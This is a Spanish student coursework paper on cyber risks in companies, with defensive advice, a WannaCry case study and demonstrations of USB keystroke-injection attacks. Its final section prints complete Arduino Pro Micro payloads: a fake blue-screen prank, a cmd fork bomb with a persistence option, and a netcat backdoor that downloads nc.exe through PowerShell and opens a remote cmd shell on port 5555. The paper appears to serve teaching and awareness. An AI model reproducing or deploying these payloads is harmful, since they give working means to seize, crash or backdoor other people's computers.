RIESGOS CIBERNÉTICOS EN EMPRESAS

Autor: Marcel Kemp Muñoz

Curso: 3º

Asignatura: SWAP

Introducción

Cuando nos referimos a riesgos cibernéticos en una empresa, siempre pensamos en los ataques más conocidos que nos pueden realizar, como puede ser el acceso de datos, la intrusión por una clave sencilla o el robo de archivos.

Pero a veces, pasamos por alto los propios riesgos internos que pueden exponer a la empresa al riesgo de posibles ataques externos, como pueden ser los errores de algún empleado al dejar el sistema vulnerable sin darse cuenta, o encriptar información importante.

Incluso debemos de considerar las acciones de empresas que hemos subcontratado para algunos servicios importantes, como la nube, los correos electrónicos, etc.

Por ello, es importante conocer todos los riesgos posibles, para de esta manera, minimizar todo lo posible cualquier riesgo para la empresa.

Recomendaciones para evitar ciberataques

Para reducir cualquier amenaza interna o externa que pueda influir en el funcionamiento de la compañía, hay algunas recomendaciones importantes que toda compañía debería incorporar, tanto a su sistema como a las acciones habituales de sus empleados:

•Establecer un inventario de todos y cada uno de los riesgos cibernéticos existentes:

- ¿Qué información debe proteger la empresa que pudiera ser motivo de crisis en el caso de ver la luz?
- ¿Qué datos deberían protegerse con un nivel más alto de seguridad para que nunca trasciendan a la competencia o al público general?
- ¿Qué vulnerabilidades de la seguridad informática de la empresa podrían incurrir en multas, costes legales, reducción de ingresos o ventas?
- …

•Establecer mecanismos que mantengan a salvo cada elemento de la empresa que está en la red.

Consejos para evitarlos:

➢ **Asegúrate de proteger datos de tu empresa**

Mediante una auditoría, seremos capaces de conocer qué datos pertenecientes a nuestra empresa pueden ser de dominio público y aparecer en la red. Aquellos datos corporativos, que no lo sean son los que debemos proteger de posibles impactos negativos para el negocio.

➢ **Concienciar a los trabajadores**.

Ya que en la mayoría de los casos, para realizar un cibercrimen hace falta todo un proceso de investigación previa para luego aplicarlo a sus ataques. Los cibercriminales preguntan cómo funciona la red, se infiltran en la compañía y engañan a su personal para obtener información. Advertir a los empleados de esta posibilidad nos ahorrará de ataques producidos por la inconsciencia.

- **Utilizar contraseñas seguras**

Usar claves de seguridad sólidas que no correspondan a una palabra existente, largas y en las que alternen números, mayúsculas y signos de puntuación es un método muy seguro para proteger una cuenta. Así como, no utilizar la misma contraseña en todas las cuentas. Existen aplicaciones que crean contraseñas sólidas y aplicaciones donde guardarlas para no olvidarlas. Pero como todo, guardar algo en la red no acaba siendo del todo seguro. Al final, lo más recomendable es jugar con una frase hecha donde alternamos mayúsculas, números y signos de forma coherente.

- **Realizar análisis diarios**

Analiza diariamente posibles ataques internos en el servidor, podría ocurrir que un cliente o trabajador esté intentando atacar a la empresa con el objetivo de obtener datos privados. Además de implementar un plan para probar, con regularidad, que las copias de seguridad funcionen de forma correcta

- **Contar un plan de comunicación**

Redactar un plan de comunicación dirigido a aquellos clientes afectados ante posibles ataques a la empresa. Siempre hay que estar preparado para posibles incidentes no deseados y saber cómo actuar en estas situaciones de crisis. El plan de comunicación es uno de los apartados del *Plan de marketing digital* de la organización.

- **Restringir el acceso a los equipos y evitar contenidos desconocidos**

No es necesario que todos los empleados tengan acceso a todos los contenidos e informaciones de los equipos de la empresa. Se recomienda que los trabajadores tengan acceso solo a aquella parte que vayan a manejar en su trabajo y que se encuentre restringida mediante contraseñas fuertes. Ademas de no abrir correos, descargar archivos adjuntos ni clicar en enlaces sospechosos, ya que son las principales fuentes de ataque en un servidor u ordenador.

- **Proteger todos los dispositivos conectados**

Los teléfonos móviles, relojes inteligentes, smart-TV o tablets conectados a la red Wi-Fi de la empresa pueden ser fuentes de infección si no cuentan con una protección previa (como pueden ser un firewall o cortafuegos efectivos).

- **Realizar copias de seguridad**

Es indispensable tener copias de todos aquellos datos de la empresa y de sus clientes, tanto los que se encuentran fuera de Internet como dentro para ante posibles ataques poder restaurar todo lo perdido.

- **Contratar a un hacker**

Quién mejor que alguien que sepa como burlar tu ciberseguridad para conocer cómo protegerla. Cada vez son más las empresas que contratan a personas que saben cómo realizar ataques para protegerse ante otros hackers.

- **Inhabilitar los accesos desde varios sistemas**

Elige un equipo para acceder a tus datos corporativos, no dejes que múltiples ordenadores de tu negocio tengan acceso a esos contenidos, pues serán puntos de acceso también para los hackers.

- **Tras un ataque.**

Las máquinas infectadas deben ser aisladas y desconectadas de la red para evitar que sean fuente de propagación.

Wannacry - Telefónica

Este tipo de malware aprovecha cualquier fallo del sistema para “colarse” en nuestra red. En el caso de telefónica, fue un problema de Windows que Microsoft ya había avisado semanas atrás y para el que ya había recomendado la instalación de un parche que ellos mismos crearon, algo que, vistas las circunstancias, no muchas compañías hicieron.

Como otras muchas empresas que se han visto afectadas, Telefónica obvió la recomendación realizada por el gigante del Software, y por ello sufrió uno de los mayores ataques informáticos que se recuerdan en nuestro país. Los costes de este ataque, tanto directos como indirectos, han sido millonarios, llegando a calcularse en 5 millones las pérdidas de las empresas españolas afectadas, de los que un elevado porcentaje pertenecen a la compañía telefónica.

Los malwares tipo “ramsonware” se contagian de manera muy fácil, la mayoría de ocasiones a través de un correo electrónico, una web, un USB infectado o simplemente la conexión de cualquier periférico con conexión a internet sin protección como una impresora o un móvil, aunque solamente sea para cargar la batería o transmitir música.

Demostración ataque por USB

En este caso, voy a realizar demostraciones de ataques físicos, en específico por el puerto USB. Por el cual, se puede conectar un pendrive malicioso, ya sea por culpa de un empleado que no sabe que es malicioso, una persona externa a la empresa si llega a poder tener acceso a algún puerto USB que este visible y accesible, o incluso un empleado furioso con la empresa.

Las demostraciones que voy a realizar son las siguientes (se encuentran en la carpeta demostraciones):

- **Broma para Windows 10 (W10)**

Se trata de un payload que realiza una captura del escritorio actual, la guarda en el escritorio y se pone de fondo de escritorio. Una vez realizado, oculta los iconos del escritorio, dejando así el escritorio con iconos que no pueden ser pulsados (por el fondo de escritorio). Y por último, abre en pantalla completa, una página web en el explorador de W10 en el que se muestra una imitación de W10, y termina con el famoso pantallazo azul.

En este caso, revirtiendo los pasos se solucionaría el problema.

- **Fork bomb (Visible para vídeo)**

Con este payload, abre la terminal cmd con privilegios de administrador, se mueve (con cd /...) a la carpeta que inicia los programas al iniciar el S.O. (para que sea persistente), crea un script con un bucle infinito que inicia la terminal, y lo ejecuta. De esta manera, según los recursos de la máquina, tras una pequeña porción de tiempo, el ordenador se satura y no deja realizar ninguna acción.

Este script existe de forma “invisible”, es decir sin mostrar las pestañas cmd, de forma que se satura sin ver nada raro. Y también de forma persistente, cuando se reinicia, al haber puesto el script en la carpeta Startup, se inicia de nuevo volviendo a dejar sin recursos la máquina.

Una forma que se me ocurre de solucionarlo si este fuese invisible y persistente, sería restaurando una copia de seguridad (existen otras maneras de solucionar el problema).

– **Puerta trasera netcat**

Consiste en un payload que abre la terminal de comandos con privilegios de administrador, descarga en la carpeta Root de Windows el programa Netcat (que puede crear una puerta trasera, para poder ejecutar comandos desde el PC que se conecte por el puerto de escucha), y lo ejecuta.

Este payload lo he simplificado mucho, ya que puede crearse de forma persistente (es decir, que aunque se reinicie el PC, se volverá a ejecutar), de forma invisible (incluyéndolo como un proceso más del PC, de tal manera que no nos muestra ninguna pestaña ni nada) y además desactivar el firewall específicamente para Netcat, para que así no haya problemas.

Primero de todo, si sospechasemos de que nos roban información, nos espían o algo parecido, habría que desconectar el PC de la red para buscar el problema. Y si nos diésemos cuenta de cuál es el problema, tan solo haría falta eliminar los archivos para eliminar la conexión. Existen programas que realizan estas acciones, aunque no siempre te garantizan que el problema se haya resuelto.

Dispositivo usado para las demostraciones:

El dispositivo que he usado para realizar las demostraciones es el Arduino ProMicro, al cual le he añadido varios componentes más, para así poder almacenar varios payloads (con adaptador SD), elegir cuál ejecutar de los almacenados (con switch) y poder conectarlo directamente al PC.

Existen otros dispositivos (de distintos tamaños) que realizan la misma acción, entre ellos están:

– Digispark
– Rubber Ducky (es el más conocido)
– USB trucado para poder escribir datos como teclado.

Prevención USB

Existen diversas maneras de poder evitar tales ataques, como por ejemplo:

Lo puedes hacer con los permisos administrativos (policies) de windows sin necesidad de ningún programa externo, incluso puedes personalizar el mensaje que le saldrá cuando pinche su pendrive. Aunque te desactiva los puertos, por lo que necesitarías volver a tocar los registros para volver a usarlos, por lo que puede resultar tedioso.

Un programa que permite pedir las credenciales para aceptar el PEN es MYUSBONLY (protege los puertos USB de almacenamiento y de lector de tarjetas). Cada vez que introduces un PEN, te aparece una ventana para introducir la contraseña maestra que has introducido para habilitar éstos dispositivos, si es correcta, te permite utilizar el PEN, sino no.

También me ha interesado el GILISOFT USB LOCK 3.0... éste software se instala, creas una contraseña maestra, y puedes personalizar si quieres que se pueda leer de un pendrive pero no escribir, o que no acepte ningún pendrive. Para realizar cualquier cambio, siempre deberemos entrar en el software con la contraseña maestra y activar o desactivar, pero de una forma rápida. Es interesante aunque nunca pedirá una contraseña cuando introduzcamos los pendrives.

Código usado

Broma para W10:

```
#include "Keyboard.h"

void typeKey(int key)
{
  Keyboard.press(key);
  delay(50);
  Keyboard.release(key);
}

/* Init function */
void setup()
{
  // Begining the Keyboard stream
  Keyboard.begin();

  delay(2500);

  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('d');
  Keyboard.releaseAll();

  delay(500);

  typeKey(206);

  delay(250);

  typeKey(229);

  delay(300);

  Keyboard.print("V");

  delay(40);

  Keyboard.print("D");

  delay(500);

  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('r');
  Keyboard.releaseAll();

  delay(500);

  Keyboard.print("mspaint");

  typeKey(KEY_RETURN);

  delay(1000);

  Keyboard.press(KEY_LEFT_CTRL);
  Keyboard.press('v');
  Keyboard.releaseAll();

  delay(500);

  Keyboard.press(KEY_LEFT_ALT);
  Keyboard.press('f');
  Keyboard.releaseAll();
  delay(100);
  Keyboard.print("c");
  Keyboard.print("r");

  typeKey(KEY_RETURN);

  delay(500);

  Keyboard.print("xxx");

  delay(150);
```

```
  Keyboard.press(KEY_LEFT_ALT);
  Keyboard.press(KEY_UP_ARROW);
  Keyboard.releaseAll();

delay(150);

  Keyboard.press(KEY_LEFT_ALT);
  Keyboard.press(KEY_UP_ARROW);
  Keyboard.releaseAll();

  delay(150);

  Keyboard.press(KEY_LEFT_ALT);
  Keyboard.press(KEY_UP_ARROW);
  Keyboard.releaseAll();

  delay(150);

  Keyboard.press(KEY_LEFT_ALT);
  Keyboard.press(KEY_UP_ARROW);
  Keyboard.releaseAll();

  typeKey(KEY_RETURN);

  delay(500);

  Keyboard.press(KEY_LEFT_ALT);
  Keyboard.press('f');
  Keyboard.releaseAll();

  delay(400);

  Keyboard.print("F");

  delay(1000);

  Keyboard.press(KEY_LEFT_ALT);
  Keyboard.press(KEY_F4);
  Keyboard.releaseAll();

  delay(300);
// PRUEBA DESACTIVAR
  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('d');
  Keyboard.releaseAll();

  delay(200);

  Keyboard.press(KEY_LEFT_CTRL);
  Keyboard.press(' ');
  Keyboard.releaseAll();

  delay(100);

  Keyboard.press(KEY_LEFT_SHIFT);
  Keyboard.press(KEY_F10);
  Keyboard.releaseAll();

  delay(100);

  typeKey(KEY_DOWN_ARROW);

  typeKey(KEY_RIGHT_ARROW);

  typeKey(KEY_UP_ARROW);

  typeKey(KEY_RETURN);

   delay(200);

   // 2º

  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('d');
  Keyboard.releaseAll();

  delay(100);
```

```
  Keyboard.press(KEY_LEFT_CTRL);
  Keyboard.press(' ');
  Keyboard.releaseAll();

  delay(100);

  Keyboard.press(KEY_LEFT_SHIFT);
  Keyboard.press(KEY_F10);
  Keyboard.releaseAll();

  delay(100);

  typeKey(KEY_DOWN_ARROW);

  typeKey(KEY_RIGHT_ARROW);

  typeKey(KEY_UP_ARROW);

  typeKey(KEY_RETURN);

   delay(200);

   //FIN

  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('r');
  Keyboard.releaseAll();

  delay(500);

  Keyboard.print("iexplore /k fakeupdate.net&win10u&index.html");

  typeKey(KEY_RETURN);

  delay(1000);
  typeKey(KEY_TAB);
  typeKey(KEY_TAB);
  typeKey(KEY_RETURN);

  delay(1000);
  typeKey(KEY_DOWN_ARROW);
  typeKey(KEY_TAB);
  typeKey(KEY_TAB);
  typeKey(KEY_TAB);
  typeKey(KEY_RETURN);
  typeKey(KEY_RETURN);

  // Ending stream
  Keyboard.end();
}

/* Unused endless loop */
void loop() {}
```

Fork bomb (Visible para vídeo):

```
#include "Keyboard.h"
void typeKey(int key)
{
  Keyboard.press(key);
  delay(50);
  Keyboard.release(key);
}

void setup() {
  // Begining the Keyboard stream
  Keyboard.begin();

  // Wait 500ms
  delay(2500);

  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('r');
```

```
  Keyboard.releaseAll();

  delay(200);

  Keyboard.print("cmd");

  delay(200);

  Keyboard.press(KEY_LEFT_CTRL);
  Keyboard.press(KEY_LEFT_SHIFT);
  Keyboard.press(KEY_RETURN);
  Keyboard.releaseAll();

  delay(500);

  Keyboard.press(KEY_LEFT_SHIFT);
  Keyboard.press(KEY_TAB);
  Keyboard.releaseAll();

  typeKey(KEY_RETURN);

  delay(500);

  //Si descomentasemos los comentarios, lo volveriamos persistente.

  //Keyboard.print("cd %ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup\");

  //typeKey(KEY_RETURN);

  //delay(100);

  Keyboard.print("copy con a.bat");

  typeKey(KEY_RETURN);

  delay(100);

  Keyboard.print(">START");

  typeKey(KEY_RETURN);

  delay(100);

  Keyboard.print("start a.bat");

  typeKey(KEY_RETURN);

  delay(100);

  Keyboard.print("GOTO START");

  typeKey(KEY_RETURN);

  delay(100);

  Keyboard.press(KEY_LEFT_CTRL);
  Keyboard.press('z');
  Keyboard.releaseAll();

delay(100);

  typeKey(KEY_RETURN);

  delay(100);

  Keyboard.print("a.bat");

  delay(100);

  typeKey(KEY_RETURN);

}

void loop(){}
```

Puerta trasera netcat:

```
#include "Keyboard.h"

void typeKey(int key)
{
  Keyboard.press(key);
  delay(50);
  Keyboard.release(key);
}

void setup() {
  // Begining the Keyboard stream
  Keyboard.begin();

  // Wait 500ms
  delay(2500);

  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('d');
  Keyboard.releaseAll();

  delay(500);

  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('r');
  Keyboard.releaseAll();

  delay(200);

  Keyboard.print("cmd");

  delay(200);

  Keyboard.press(KEY_LEFT_CTRL);
  Keyboard.press(KEY_LEFT_SHIFT);
  Keyboard.press(KEY_RETURN);
  Keyboard.releaseAll();

  delay(500);

  Keyboard.press(KEY_LEFT_SHIFT);
  Keyboard.press(KEY_TAB);
  Keyboard.releaseAll();

  typeKey(KEY_RETURN);

  delay(500);


  Keyboard.print("cd %SYSTEMROOT%");

  typeKey(KEY_RETURN);

  delay(500);

        Keyboard.print("powershell                                                                    (new-object
System.Net.WebClient).DownloadFile('https://eternallybored.org/misc/netcat/nc.exe','nc.exe')");

  typeKey(KEY_RETURN);

  delay(500);

  Keyboard.print("nc -p 5555 -vv -e cmd.exe -L");

  typeKey(KEY_RETURN);


}

void loop() {

}
```

Webgrafía

– https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads

– https://www.youtube.com/watch?v=QrwqeI99I8E

– https://www.rankia.com/blog/opiniones/3578429-que-paso-wannacry-por-infecto-telefonica-pueden-evitar-estos-ataques

– https://www.proteccionderiesgos.com.co/2017/09/13/nuevos-riesgos-las-empresas-la-digital/

– https://www.tresce.com/blog/como-evitar-un-ciberataque-en-mi-empresa/

– https://ticnegocios.camaravalencia.com/servicios/tendencias/ciberataques-a-empresa-que-hacer-para-evitarlos/

– https://ciberseguridad.blog/25-tipos-de-ataques-informaticos-y-como-prevenirlos/